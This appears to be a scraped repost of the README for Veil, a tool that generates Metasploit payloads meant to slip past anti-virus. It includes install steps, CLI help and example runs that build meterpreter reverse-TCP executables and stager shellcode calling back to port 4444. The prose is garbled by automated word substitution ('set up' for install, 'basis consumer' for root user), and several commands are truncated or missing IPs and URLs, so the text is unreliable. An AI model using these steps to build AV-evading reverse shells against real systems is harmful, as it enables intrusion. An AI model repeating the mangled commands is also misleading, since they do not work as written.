Veil – Tool To Generate Metasploit Payloads That Bypass Common Anti-virus Solutions

Veil - Tool To Generate Metasploit Payloads That Bypass Common Anti-virus Solutions

Veil is a instrument designed to generate metasploit payloads that bypass widespread anti-virus options.
Veil is present beneath assist by @ChrisTruncer

Software Requirements:
The following OSs are formally supported:

  • Debian 8+
  • Kali Linux Rolling 2018.1+

The following OSs are seemingly in a position to run Veil:

  • Arch Linux
  • BlackArch Linux
  • Deepin 15+
  • Elementary
  • Fedora 22+
  • Linux Mint
  • Parrot Security
  • Ubuntu 15.10+


Kali’s Quick Install

apt -y set up veil
/usr/share/veil/config/ --force --silent

Git’s Quick Install

  • Installation have to be carried out with superuser privileges. If you aren’t utilizing the basis account (as default with Kali Linux), prepend instructions with sudo or change to the basis consumer earlier than starting.
  • Your package deal supervisor could also be totally different to apt.
sudo apt-get -y set up git
git clone
cd Veil/
./config/ --force --silent

./config/ // Setup Files
This file is answerable for putting in all of the dependences of Veil. This consists of all of the WINE atmosphere, for the Windows aspect of issues. It will set up all the required Linux packages and GoLang, in addition to Python, Ruby and AutoIT for Windows. In addition, it should additionally run ./config/ in your atmosphere.
It consists of two non-obligatory flags, --force and --silent:

--force ~ If one thing goes fallacious, it will overwrite detecting any earlier installs. Useful when there's a setup package deal replace.
--silent ~ This will carry out an unattended set up of all the pieces, as it should automate all of the steps, so there isn't a interplay for the consumer.

This may be ran both by doing: ./ --setup OR ./config/ --force.

./config/ // Regenerating Configuration file
This will generate the output file for /and so forth/veil/ Most of the time it is not going to must be rebuilt however in some instances you is likely to be prompted to take action (akin to a serious Veil replace).
It is essential that you’re within the ./config/ listing earlier than executing If you aren’t, /and so forth/veil/ will likely be incorrect and once you launch Veil you will notice the next:

    Main Menu

            Zero payloads loaded

Don’t panic. Run both: ./ --config OR cd ./config/; ./

NOTE: Using Py2Exe is advisable over PyInstaller (because it has a decrease detection fee).
MANUALLY Install on a Windows Computer (as this is not carried out by Veil’s setup):

Example Usage
Veil’s Main Menu:

$ ./
                             Veil | [Version]: 3.1.6
      [Web]: | [Twitter]: @VeilFramework

Main Menu

  2 instruments loaded

Available Tools:

  1)  Evasion
  2)  Ordnance

Available Commands:

  exit      Completely exit Veil
  information      Information on a particular instrument
  listing      List accessible instruments
  choices     Show Veil configuration
  replace      Update Veil
  use     Use a particular instrument



$ ./ --help
utilization: [--list-tools] [-t TOOL] [--update] [--setup] [--config]
               [--version] [--ip IP] [--port PORT] [--list-payloads]
               [-p [PAYLOAD]] [-o OUTPUT-NAME]
               [-c [OPTION=value [OPTION=value ...]]]
               [--msfoptions [OPTION=value [OPTION=value ...]]] [--msfvenom ]
               [--compiler pyinstaller] [--clean] [--ordnance-payload PAYLOAD]
               [--list-encoders] [-e ENCODER] [-b x00x0a..] [--print-stats]

Veil is a framework containing a number of instruments.

[*] Veil Options:
  --list-instruments          List Veil's instruments
  -t TOOL, --tool TOOL  Specify Veil instrument to make use of (Evasion, Ordnance and so forth.)
  --update              Update the Veil framework
  --setup               Run the Veil framework setup file & regenerate the
  --config              Regenerate the Veil framework configuration file
  --version             Displays model and quits

[*] Callback Settings:
  --ip IP, --domain IP  IP deal with to attach again to
  --port PORT           Port quantity to connect with

[*] Payload Settings:
  --list-payloads       Lists all accessible payloads for that instrument

[*] Veil-Evasion Options:
  -p [PAYLOAD]          Payload to generate
  -o OUTPUT-NAME        Output file base identify for supply and compiled binaries
  -c [OPTION=value [OPTION=value ...]]
                        Custom payload module choices
  --msfoptions [OPTION=value [OPTION=value ...]]
                        Options for the desired metasploit payload
  --msfvenom []         Metasploit shellcode to generate (e.g.
                        home windows/meterpreter/reverse_tcp and so forth.)
  --compiler pyinstaller
                        Compiler possibility for payload (at present solely wanted for
  --clean               Clean out payload folders

[*] Veil-Ordnance Shellcode Options:
  --ordnance-payload PAYLOAD
                        Payload kind (bind_tcp, rev_tcp, and so forth.)

[*] Veil-Ordnance Encoder Options:
  --list-encoders       Lists all accessible encoders
  -e ENCODER, --encoder ENCODER
                        Name of shellcode encoder to make use of
  -b x00x0a.., --bad-chars x00x0a..
                        Bad characters to keep away from
  --print-stats         Print details about the encoded shellcode

Veil Evasion CLI

$ ./ -t Evasion -p go/meterpreter/ --ip --port 4444
      [Web]: | [Twitter]: @VeilFramework

inner/syscall/home windows/sysdll
      [Web]: | [Twitter]: @VeilFramework

 [*] Language: go
 [*] Payload Module: go/meterpreter/rev_tcp
 [*] Executable written to: /var/lib/veil/output/compiled/payload.exe
 [*] Source code written to: /var/lib/veil/output/supply/payload.go
 [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/payload.rc
$ file /var/lib/veil/output/compiled/payload.exe
/var/lib/veil/output/compiled/payload.exe: PE32 executable (GUI) Intel 80386 (stripped to exterior PDB), for MS Windows

Veil Ordnance CLI

$ ./ -t Ordnance --ordnance-payload rev_tcp --ip --port 4444
      [Web]: | [Twitter]: @VeilFramework

 [*] Payload Name: Reverse TCP Stager (Stage 1)
 [*] IP Address:
 [*] Port: 4444
 [*] Shellcode Size: 287



Please enter your comment!
Please enter your name here

This site uses Akismet to reduce spam. Learn how your comment data is processed.